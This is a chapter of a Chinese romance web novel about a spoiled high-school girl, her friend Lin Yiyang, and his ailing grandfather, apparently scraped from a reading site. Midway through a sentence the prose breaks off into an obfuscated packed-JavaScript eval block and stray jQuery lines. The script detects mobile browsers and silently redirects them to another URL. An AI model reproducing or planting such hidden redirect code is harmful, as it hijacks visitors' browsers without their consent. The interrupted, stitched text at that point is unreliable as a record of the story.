22. 暖冬

作品:《大小姐

    初中升高中的暑假就这么悄摸从指缝溜走,不少人对高中抱有无限期待,周依婧想着临近的开学日期,心里只有满腔愁绪。


    开学要住校,这意味着要一周见不到林亦扬。


    她转头看向书桌前正在看书的林亦扬,长长地叹了口气。


    林亦扬听到声音回头,就看到周依婧趴在枕头上,手机倒扣在床边,整个人像外面被晒焉儿的牵牛花,无精打采的。他猜到了原因,却还是装模作样“关心”了一句:“怎么了?”


    周依婧锤了一下枕头,声音都带着气:“你看看今天几号!”


    林亦扬拿起手机看了眼,语调平静:“八月二十八。”


    “马上就开学了!”周依婧满脸绝望,“我不想去学校。”


    “为什么?”


    周依婧恶狠狠地说:“傻子才喜欢上学!”


    林亦扬没忍住笑出声,对她说:“开学要是有不懂的,可以来问我。”


    “你会啊?”周依婧半信半疑,她看到过门口书架上有高中的课本和课外练习题,但又想到林亦扬上的是职高,眉头疑惑地皱起,嘴里的话拐了个弯,“你不是专攻画画吗?”


    林亦扬眉梢一挑,知道周依婧在想什么,半开玩笑地说:“你下次来问,看我能不能教你不就知道了?”


    周依婧想了想,也是,没再多说什么,趴在枕头上,被空调风轻轻吹着,没多久就睡了过去。


    林亦扬安静地看了一会儿周依婧的睡颜,长睫静静地垂着,五官小巧精致,她睡着的样子总是很乖,像一只停在花朵上的寂静又绮丽的蝴蝶。


    刚刚对周依婧说的,其实都是真的。林亦扬拿着桌上的笔百无聊赖的转着,在小冉事情发生之前,他其实成绩很好,市里的联考都能排前十的水平,也是上一中的重点培养苗子,后来出了那件事,他浑浑噩噩过了一年,身边一些听到风声的同学对他是避之不及,他不想与人交流,心里永远有那么一个伤口在流着血,就这样放弃了自己整整一年。


    后来看着妈妈眼里加深的绝望和打得越来越多的电话,他是有过让他妈带走自己的念头的,重新捡起书本开始学,不过还没等考试,在他妈再次被打得鼻青脸肿并被林澜指着鼻子骂她是个贱.人带着一个拖油瓶儿子的时候,他才恍然明白,自己对于他妈来说,是个拖油瓶。一个人走和带着个孩子走,难度简直天差地别。


    于是在下一次考试时他果断翘掉,翻墙出去碰到几个混混欺负一个女生,心情不爽地拎起拳头就冲上去和他们干了一架,干到了警察局,最后还是他妈来领他出去,那是他第一次在他妈眼中看到一丝放弃,那一刻他只觉得解脱。


    不过课业也没废,自己跟着课本学,悄悄买了辅导卷来学,遇到考试就翻墙缺考,上课拿着空白的试卷把答案写在草稿纸上自己对着老师发的答案批。


    中考时他空了好多道题,只写了一部分,控分去了职高。


    虽然装着自暴自弃浑浑噩噩,活得人人避之不及像阴沟里的老鼠,但自己心里得清楚,他只是让他妈放弃他,不是他放弃他自己。


    林澜早晚会有报应,他要带着爷爷过上更好的日子。


    不学好,不画好,这些不是痴人说梦吗?


    所以他虽然在职高后来又退学,高中的知识一直有在学,甚至在网上找网友托关系要了重高的试卷和资料来学,周依婧要是有不懂,他还是能教上几句的。


    林亦扬目光柔和地看向周依婧,他从周依婧这里得到一份轻松,从前是背负着伤痛和负罪往上走,周依婧抱住他的那天之后,伤口渐渐结痂,那座压着他的大山没了,换成一道枷锁,他心甘情愿套上的枷锁,周依婧是锁链的牵引人。


    他想他现在可以和小冉讨论喜欢一个人是怎样的感觉了。心甘情愿带上枷锁,所思所想所念所感,全都被对方牵动,当走在悬崖深渊时,因为那根锁链,他愿意走到阳光下。


    ·


    周依婧开学那天就遇到了麻烦事,本来上学就烦,结果还碰到了硬骨头。当天晚上就悄悄用手机给林亦扬发了消息,吐槽一中的食堂,一中的同学,一中的老师,一中的一切。


    林亦扬就像个没有任何哄人细胞的直男,发来的消息永远只有那么几句,告诉她一周很快就结束了,有时候听她抱怨,还会笑她,周依婧简直要气死了。


    真是哪哪儿都不顺心。


    学校的日子虽然痛苦难熬,但周依婧有着自己的排解方式。她简单用了点钱,就收获了几个小跟班,每天在她身边叽叽喳喳,倒也算热闹,林亦扬在她每天坚持不懈的“骚扰”下,答应给她送奶茶。


    不过她运气真是差死了,因为喝奶茶被老师叫出去骂了一顿,还要当着全班的面读检讨书。那天真是糟糕极了,周依婧忍了很久才没有在讲台上哭出来,她知道肯定是因为有人告密。


    那股烦躁在周依婧心里横冲直撞,大概没了宣泄的出口,她最先想要让林亦扬帮她出手教训,未果,转而悄悄求助于当初跟着林亦扬一起去台球厅遇到的小混混,她有钱,小小教训一下别人,又不是什么大事。


    但她没想到那几个人会乱来,会造成那么严重的后果。


    周依婧听到宋冬住院的消息时,心直接坠到的谷底,怎么会呢,她以为那群人只是恐吓警告一下,给对方一点小教训而已,她没想弄到让对方住院的地步。


    但更让她崩溃的,是路过的同学说的话,原来她喝奶茶被发现,不是宋冬告的密,是因为老师看了监控,她从一开始就冤枉了宋冬,甚至还做出了伤害对方的举动。


    周依婧从不认为自己是什么好人,但也从来没这样坏地害过别人。


    内心里的恐惧担心懊恼害怕委屈像一把火,从心底燃烧起来,烧得她整个人都开始战栗。她从楼道里冲出去,跑到食堂楼下的电话亭,第一反应打给了周成。


    嘟嘟——电话接通,传来的却还是周成助理的声音。


    不意外,但铺天盖地的无助和失落顷刻就将周依婧淹没,她清晰地感受到自己正误入歧途站在离沙滩有些远的礁石上,傍晚的潮水在几个眨眼间就漫了上来,四周全是阴蓝的海面,再过不久这块礁石也要被吞没。


    她本能找自己心中最亲近的人,周成却没能出现。


    今晚的月色一点都不明亮,夜色那么重,路灯的光冷白刺目,像是在讽刺她自作自受。


    她不知道林亦扬的电话号码,浑浑噩噩等到回宿舍才联系对方。


    可话到了嘴边,又不知道该如何说,这件事本就不光彩,一想到对面倾听的是林亦扬,这份不光彩就翻倍,两倍不止,四倍五倍百倍,她变得有些瑟缩,下意识不想让林亦扬了解到这样的自己。


    所以带上耳机接通林亦扬的电话后,只有沉默。


    耳机质量很好,将对面林亦扬各种声音全都传递了过来。放下水杯时的咔哒,敲击键盘的嗒嗒,凳子移开时的刺啦,更多的是林亦扬打游戏时简短冷沉的指令。


    是的,林亦扬最近又忙了点,接了几个游戏的陪玩,得时不时上线陪人打游戏挣钱。


    周依婧第一次知道,原来还有陪玩这个职业,不过想想也是,有钱能使鬼推磨,她现在享受到的除了林亦扬和林爷爷的人际交往和服务,不都是因为有钱么,只要你有钱,想干什么都行。


    但她生气的是,她有钱,林亦扬却不找她,宁愿自己多大几份工,少睡几个小时觉,都不愿意找她说一句话,只要他说句话,她作为朋友当然可以二话不说给他钱,把自己弄那么累有什么必要。


    但这些周依婧没说,因为说了,就会发生像上次那样的争吵,虽然她没有看不起林亦扬,但她不想让自己的举动再给林亦扬一种被看低的错觉。


    于是她绞尽脑汁,只能让王妈换着炖汤做菜,再拿去给林亦扬和林爷爷吃。


    她偶尔会住在林亦扬家,林爷爷看她孤零零一个人,总是心疼。只是林爷爷不知道,每次住在林亦扬家的时候,她并没有乖乖睡在林爷爷给她准备的房间,而是保证被子枕头去林亦扬房间,一个睡床,一个打地铺。


    她说不上来为什么,只是凭借一种本能反应,知道林亦扬在的时候,会睡得格外香,心情不管是兴奋也好,悲伤也罢,靠近林亦扬,那条情绪曲线都会渐渐趋于平和,时不时的斗嘴都让她觉得舒服,既不过分上扬,也不过分低落,整个人都会平静下来,她喜欢这种平静的脚踏实地的安全感。


    林亦扬身上就有这种力量。


    就像现在,哪怕心里再委屈害怕,懊恼失落,听着耳机里冷沉的嗓音,细小的动静,周依婧也都渐渐平静下来,在纷乱的思绪里渐渐睡了过去。


    第二天,周依婧在教室看到宋冬的时候,吓得打碎了杯子。


    她反应过来昨晚是被温茉和任宥骗了,但误会人并做错事的懊恼后怕还在,哪怕是被骗也没抵消这层情绪浪花,因为她知道这件事是她有问题。可要让她道歉,那根本不可能。


    她不会向谁低头,错她意识了,担惊受怕的滋味她也尝到了,道歉就算了。


    周依婧和宋冬他们,在班里就成了井水不犯河水的两拨,高中的生活就这样平淡无聊地进行着。


    如果要找出一件有意思的事,大概是她拿着题抱着逗林亦扬的心思去问,竟然真的被教懂了,林亦扬轻而易举将她手上的难题化解,又用简单的方式教会她,还能很快写出几道相似的题让她写,像是一定要她完全掌握这个知识点为止。


    有了这个开头,每周她都会把学校里不懂的题拿来问林亦扬,林亦扬讲题的语调和打游戏的语调差不多,声线很平,冷沉动听,因为这场每周的“补课”,周依婧硬是从原本只打算随便学随便考学成了班里中上的水平。


    麻雀从教学楼旁的大树上惊起,风一吹,碧绿的叶子就泛了黄,再一吹,纷纷扬扬洒下来,入了冬。


    放寒假那天,是周成助理过来帮忙搬的东西,整整一学期,周依婧和周成的见面十个手指就能数出来。


    她闹过哭过恨过,最后只能被迫地平静地接受这样一个事实。和林亦扬吐槽抱怨时,他说可以试着和周成好好沟通一下,于是她将希望寄托于过年团聚的除夕,希望那天可以和周成好好聊聊。


    宣淮的冬天又冷又没暖气,周依婧几乎离不开空调,根本不想踏出门一步,她本想把林亦扬骗来别墅这边,可林亦扬总是待一会儿就得走,害得她只好全副武装跟着林亦扬出门。


    林亦扬看着她又是帽子又是围巾又是棉袄又是雪地靴的一层一层把自己套起来,眼里不禁浮现出零星笑意,“宣淮冬天不下雪。”


    “简直比下雪的北京还冷!”周依婧最后带上毛绒绒的手套,拉着林亦扬出门,嘴上为自己辩解,“这冷风冷雨跟往骨头里钻一样,屋子里要是不开空调,进去比外面都冷,这谁受得了?”


    林亦扬听着她的吐槽,笑了笑说:“我家不开空调,你回去吧。”


    周依婧哪能同意,一个人在家也太无聊了点,躺在被窝里看小说都没劲,哪有去林亦扬家和林爷爷唠嗑有意思。


    “好久没见林爷爷了,之前每周去找你总没碰上林爷爷,你刚不是说林爷爷在家吗,我去看看他。”周依婧说话间,白气一团团从嘴巴里冒出来,搞得她的眼睛都雾沉沉的,看什么都模糊。


    这也导致了她错过了林亦扬眼中一闪而过的难过和沉闷。


    林亦扬带着她换了条路走,冬天的宣淮很热闹大部分时候是以一条特色的街为代表,主路大街上摆着很多摊位,俨然成了一个小集市,周依婧第一次在宣淮过冬,看这边什么都新鲜,什么都想尝尝试试,她走走停停,手一挥买了不少东西,自己拿不下了就让林亦扬拿,到最后两个人四只手全都挂满了东西。


    “你就尝尝,买这么多干嘛?”林亦扬又拎过周依婧小指上挂着的酥油糖,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718291|143297||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无奈地开口。


    “你和林爷爷也可以尝啊。”周依婧说得理所当然,朝前走时嘴角的笑都快压不下来,话语间还有些藏不住的得意,“我大方着呢。”


    东西买了,借口有了,它们就能自然而然留在林亦扬家了。


    她可真聪明。


    林亦扬无言看了周依婧一眼,笑着摇了摇头。


    到林亦扬家,周依婧两条胳膊已经酸软得快要抬不起来,她指控着林亦扬:“我胳膊都要断了你也不知道帮帮忙。”


    林亦扬对周依婧的倒打一耙根本已经不奇怪了,凉凉地瞥了她一眼想让她停止胡说八道,结果还被对方气鼓鼓地剜了一眼,他简直是要气笑了。


    “我在厨房就听到我们依婧的声音了。”林老爷子从后头的厨房过来,手上还端着一个大大的火盆,上面铺着一层猩红的炭,发出噼里啪啦的声响,烘得老爷子的声音更加热乎,“快来烤烤火,这天太冷了。”


    “爷爷,好久不见!”周依婧早在林爷爷声音出来的瞬间就换上了乖巧的笑脸,和刚刚娇气的颐指气使的大小姐简直判若两人,林亦扬没忍住偏过头,肩膀都跟着抖。


    “感觉您都瘦了。”周依婧仔仔细细地看着面前的老人,整个人都快成了皮包骨,头上带着一顶毛绒绒的帽子,穿着厚厚的军绿色棉袄,放下火盆后挪开的手像是冰天雪地里黑黢黢的枯树枝,不像之前虽然瘦但双目炯炯有神,整个人看上去精神矍铄的,现在更苍老,更疲惫。


    “不要太辛苦啦,我每周来都听林亦扬说您去卖竹椅这些,不要太累着自己啊,这么冷的天,您让林亦扬去卖,现在放寒假了,我也能帮您卖。”周依婧在林爷爷坐下后,接过林亦扬拿来的小板凳,坐在了火盆旁,边伸手烤火边叮嘱。


    “好好好。”林老爷子笑得爽朗,那双略带浑浊的双眼看向林亦扬,帮着周依婧“排挤”林亦扬两句,“你听听,到底还是我们依婧懂事,要是我孙女就好咯!”


    林亦扬唇角只浅浅地提了一下,从桌上拿了几个烤橘子放到红通通的炭火上烤,老爷子的病一天比一天重,他实在高兴不起来。


    “橘子还能这么烤着吃吗?”周依婧看着火盆里的橘子,有些惊讶。


    “能。”林爷爷接过话,“天冷,这么烤着吃热乎,一口热橘子吃进去,嘴巴连到胃都暖得舒坦。”


    林亦扬眉头微蹙,飞快得说了一句:“还能止咳。”


    “止咳?”周依婧更惊讶了,丝毫没多想,“橘子烤着吃还有这作用啊?”


    林老爷子不满地看了林亦扬一眼,笑呵呵地说:“乡下的土方子,谁知道有没有用。”说着,不动声色地转移了话题,“冬天就喜欢吃热乎的,管它能不能止咳呢。依婧,你想不想吃烤红薯?这也能放火盆里烤呢。”


    周依婧眼睛亮了亮,她当然吃过烤红薯,好几次放学的校门口都有小摊贩在卖,按斤称,一个差不多八九块钱,热乎烫手,香香甜甜,但她还没自己烤过,此刻一听,头点得像小鸡啄米,“想!”


    “那我去拿几个,咱们今天烤红薯。”


    林爷爷手撑膝盖想要起来,林亦扬先他一步站起身:“爷爷你坐着,我去拿。”


    周依婧看着林亦扬疾步去厨房的身影,微微蹙起了眉,总觉得林亦扬回来后不太开心,难道是刚刚林爷爷那句“要是我孙女就好了”伤到他的心了?


    不是吧,林亦扬不会是这么小心眼的人。


    万一他钻牛角尖一根筋了呢?


    不是没有可能。


    周依婧越想越觉得这个可能性越大,跟着站起身说:“林爷爷我去帮林亦扬一起挑。”


    “诶,好。”林老爷子点点头,嗓子里像是有痰,声音有些含糊。


    几乎是看着周依婧走出去,他才压着声猛烈咳起来,从口袋里掏出手帕一擦,已经开始有血。他拿起桌上的水杯漱口,在吞下去的水里尝到了铁锈似的血腥气。


    林亦扬走到厨房储物的角落,打开一个白色泡沫箱,里面的红薯都灰头鼠脸地堆在一起,大的容易烤不熟,他就挑小的拿,还没挑两个,周依婧就冲了进来,蹲到他旁边。


    周依婧用手肘怼了怼林亦扬,笑吟吟地问:“生气啦?”


    林亦扬:“?”


    没等林亦扬回答,她又挤眉弄眼自说自话:“你一个大男人,怎么这么小心眼呀。”


    林亦扬:“?”


    “林爷爷就是跟你开句玩笑,又没说孙子不好。”


    林亦扬:“?”


    林亦扬反应了漫长的三秒,终于把周依婧这句话和刚刚林老爷子的玩笑话对上,结合刚刚那两句话,他要是再不懂周依婧说的是什么意思那就是傻子!


    “不是......我说.......”林亦扬嘶了一声,又震惊又无奈地看着周依婧,“你都在想什么呢?”


    周依婧看林亦扬的反应才知道自己猜错了,一时也有点尴尬,被他这么冷冷地反问一声,还有些气恼,“我不是看你不开心,来关心你吗?那么凶干嘛?”她转过头,戳了戳泡沫箱里的红薯,边挑着小的边嘟囔着说:“我就想让你开心点嘛。”


    林亦扬意识到自己刚刚的语气有点冷,在心里叹了口气,本想摸一摸周依婧的头,但想到自己两只手都碰过红薯,指腹上都沾了土,陪周依婧挑了几个小的红薯后,特意放轻了声音叫了她一声,在她转过头来时,屈起手指用指关节轻轻叩了下她白洁光滑的额头,轻柔地说:“我们一会儿去医院看看眼睛。”


    说完,他站起身,跑了。


    只留下周依婧在后面怒喝,追着跑回客厅,跑带林爷爷身边又是撒娇又是告状,直到林爷爷装模作样拿扫帚敲了几下林亦扬的腿,这场欢闹才结束。


    窗外寒风呼啸而过,透过凝着水汽的窗户往里瞧,屋子里火盆暖烘烘,周依婧把林爷爷逗得合不拢嘴,最后林亦扬也被他们的欢乐感染,柔和了眉眼。